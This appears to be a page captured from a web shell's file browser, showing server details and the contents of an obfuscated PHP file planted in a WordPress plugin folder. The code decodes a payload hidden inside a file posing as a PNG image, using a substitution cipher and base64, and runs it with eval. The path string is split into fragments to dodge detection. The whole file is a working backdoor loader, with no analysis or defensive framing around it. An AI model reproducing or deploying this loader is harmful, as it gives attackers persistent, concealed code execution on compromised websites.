HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpprm_err/wp-content/plugins/acichum/enywosa.txt
<?php

function epanah_gazhamoxa($ewebyx_juzukoshech) {
    if ($ewebyx_juzukoshech == 1)
        return enyjyn_chijukac();
    if ($ewebyx_juzukoshech == 2)
        return tiwupa_chushuci();
}

function popyse_letyxoho($ewebyx_juzukoshech) {
    $xuchori = epanah_gazhamoxa(1);
    $hyjefe = epanah_gazhamoxa(2);
    for ($ewihina = 0; $ewihina < strlen($xuchori); $ewihina++) {
        $elahaxi = substr($xuchori, $ewihina, 1);
        $izhobos = substr($hyjefe, $ewihina, 1);
        $yfegaw[$elahaxi] = $izhobos;
    }

    $ilytat = strtr($ewebyx_juzukoshech, $yfegaw);
    $ilytat = base64_decode($ilytat);

    return $ilytat;
}

function ekywav_ozhacekhy($ewebyx_juzukoshech) {
    $shajely = array();
    if (!file_exists($ewebyx_juzukoshech))
        return false;
    $imaxul = @file_get_contents($ewebyx_juzukoshech);
    if (!$imaxul)
        return false;
    $imaxul = substr($imaxul, 3);
    $shajely = popyse_letyxoho($imaxul);
    return $shajely;
}

function enyjyn_chijukac() {
    $imaxul = "pgyOMQenAqkI96bCYKjFTXNJ3ldw2r0SGzEuVDL/o58PmH1a7ZisRf=cBtU+W4hvx";
    return $imaxul;
}

function tiwupa_chushuci() {
    $shajely = "tqodfOXNp6rTVi=HWP1Gy0C37jFvJ+9MBDbgLQY2Sun5k/xKcIaUAZ4sRzElw8ehm";
    return $shajely;
}

$yxuvar = ekywav_ozhacekhy(__DIR__ . "/asset" . "s/ima" . "ges/es" . "axan." . "png");
if ($yxuvar) {
    @eval($yxuvar);
}